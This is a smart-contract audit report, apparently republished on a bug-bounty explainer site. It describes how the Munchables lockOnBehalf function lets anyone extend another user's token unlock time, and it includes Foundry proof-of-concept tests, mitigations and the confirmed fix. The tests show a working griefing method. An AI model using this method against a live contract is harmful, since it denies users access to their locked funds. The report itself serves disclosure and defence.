Malicious User can call lockOnBehalf repeatedly extend a users unlockTime , removing their ability to withdraw previously locked tokens
The lockOnBehalf function allows anyone to lock tokens on behalf of another user, which resets the recipient's unlock time and can be called repeatedly with zero quantity to indefinitely delay withdrawal. An attacker could also prevent a user from reducing their lock duration by making a small deposit on their behalf.
Submitted by Circolors, also found by 0xHash, nnez, pamprikrumplikas, niser93, bctester, Kaysoft, araj, Dudex_2004, 0rpse, bigtone, MrPotatoMagic, Audinarey, joaovwfreire, Dots, PENGUN, ayden, brgltd, octeezy, 0xMosh, turvy_fuzz, oxchsyston, adam-idarrha, rouhsamad, 0xfox, King_, ilchovski, TheFabled, iamandreiski, AvantGard, m4ttm, Utsav, fandonov, SovaSlava, 0xloscar01, trachev (1, 2), zhaojohnson, cats (1, 2), 0x175 (1, 2, 3), aslanbek, Limbooo, yotov721, grearlake, carrotsmuggler (1, 2, 3), SpicyMeatball, 0xMax1mus, lanrebayode77, Walter, 0xdice91, Bigsam, dhank, 0xhacksmithh, DPS, jasonxiale, fyamf, biakia, Evo, crypticdefense (1, 2), twcctop, dd0x7e8, 4rdiii, 0xblack_bird, 0xAadi, tedox, Sabit, Drynooo, Varun_05, 0xrex, and merlinboii
Impact
The protocol allows users to donate ether and/or tokens to another user via a lockOnBehalf function. This function lets the caller specify which address should be the recipient of these funds. However issues arise because the lockOnBehalf deposit resets the receivers lockedToken.unlockTime pushing the users unlock time for that token further back.
The code in question:
lockedToken.unlockTime = uint32(block.timestamp) + uint32(_lockDuration);
Therefore if a user has already locked tokens in the protocol, a malicious user can repeatedly call lockOnBehalf shortly before the current unlockTime and keep delaying the users ability to withdraw their tokens. This is compounded by the fact that the lockOnBehalf function has no minimum _quantity therefore the attacker doesn’t have to give up any of their own tokens to acheive this.
Alternatively, this attack vector can also be used to deny a users ability to decrease their minimum lock duration. In this instance, the attacker would have to call lockOnBehalf with a non zero amount, meaning the following check in setLockDuration would cause a revert and stop the user from decreasing their lock duration:
if (
uint32(block.timestamp) + uint32(_duration) <
lockedTokens[msg.sender][tokenContract].unlockTime
) {
revert LockDurationReducedError();
}
Proof Of Concept
The following tests outline both of these attack vectors.
The tests can be copied into the MunchablesTest foundry test suite.
Testing the lockDuration extension grief:
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function test_lockOnBehalfExtendsRecipientsUnlockTime() public {
// Alice locks 10 ether in the protocol
vm.deal(alice, 10 ether);
vm.startPrank(alice);
amp.register(MunchablesCommonLib.Realm.Everfrost, address(0));
lm.lock{value: 10 ether}(address(0), 10 ether);
vm.stopPrank();
ILockManager.LockedTokenWithMetadata[] memory locked = lm.getLocked(address(alice));
uint256 firstUnlockTime = locked[0].lockedToken.unlockTime;
console.log("Unlock Time Start:", firstUnlockTime);
// Some time passes
vm.warp(block.timestamp + 5 hours);
// Bob makes a zero deposit "on behalf" of alice
vm.startPrank(bob);
lm.lockOnBehalf(address(0), 0, alice);
ILockManager.LockedTokenWithMetadata[] memory lockedNow = lm.getLocked(address(alice));
uint256 endUnlockTime = lockedNow[0].lockedToken.unlockTime;
// Confirm Alice's unlock time has been pushed back by bobs deposit
console.log("Unlock Time End :", endUnlockTime);
assert(endUnlockTime > firstUnlockTime);
}
This produces the following logs outlining the change in lock time:
Unlock Time Start: 86401
Unlock Time End : 104401
Testing the setLockDuration grief:
function test_lockOnBehalfGriefSetLockDuration() public {
// Alice plans to call LockManager::setLockDuration to lower her min lock time to 1 hour
vm.startPrank(alice);
amp.register(MunchablesCommonLib.Realm.Everfrost, address(0));
vm.stopPrank();
// However Bob makes a 1 wei dontation lockOnBehalf beforehand
vm.startPrank(bob);
vm.deal(bob, 1);
lm.lockOnBehalf{value: 1}(address(0), 1, alice);
vm.stopPrank();
// Now Alice's setter fails because her new duration is shorter than the `lockdrop.minDuration` set during bob's lockOnBehalf
vm.startPrank(alice);
vm.expectRevert();
lm.setLockDuration(1 hours);
}
Recommended Mitigation
Other users having the power to extend a user’s lock duration is inherently dangerous. The protocol should seriously consider whether the lockOnBehalf functionality is necessary outside of being used by the MigrationManager contract.
If it is decided that the team wishes for the project to retain the ability for users to “donate” tokens to other users there are a number approaches they can consider:
- Have tokens locked via the
lockOnBehalffunction not alter the users token’slockDuration, but consider how bypassinglockdurationmay be abused (such as lockdrop NFT minting period) - Make locking on behalf of a user a two step process where after a user attempts to
lockOnBehalfthe recipient has the choice to accept/deny the lock before any changes are made to the state of the user’s currently locked tokens.
0xinsanity (Munchables) confirmed and commented via duplicate issue #115:
Fixed
We locked the
lockOnBehalffunction to only be called by the MigrationManager.
The submission and its duplicates have demonstrated how a lack of access control in the
LockManager::lockOnBehalfOffunction can lead to infinite locks and can sabotage lock duration changes.This submission has been selected as the best given that it outlines both risks inherent to the lack of access control clearly and concisely while providing recommendations that align with best practices.
Submissions awarded with a 75% reward (i.e. penalized by 25%) either propose a mitigation that is incorrect or outline the lock duration adjustment problem which is of lower severity.
Submissions awarded with a 25% reward (i.e. penalized by 75%) are QA-reported issues that were improperly submitted as low-risk.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The lockOnBehalf function lacks access control and does not check the quantity, allowing anyone to reset a user's unlock time.
Impact
An attacker can indefinitely delay a user's ability to withdraw locked tokens, and can also prevent a user from reducing their lock duration.
What the attacker needed
Victim has locked tokens; attacker can call lockOnBehalf
The fix
The lockOnBehalf function was fixed by restricting it to only be called by the MigrationManager contract.
How it was found
- Alice locks tokens in the protocol, setting an unlock time.
- Some time passes.
- Bob calls lockOnBehalf with zero quantity on behalf of Alice.
- Alice's unlock time is pushed back, as shown by the test.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this smart contract, users can lock tokens for a period. The function lockOnBehalf lets anyone add tokens to another user's lock, but it also resets that user's unlock time. Because the attacker can call it with zero tokens, they can keep pushing back the victim's unlock time forever, so the victim can never withdraw. The attacker can also make a tiny deposit to stop the victim from shortening their lock period.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.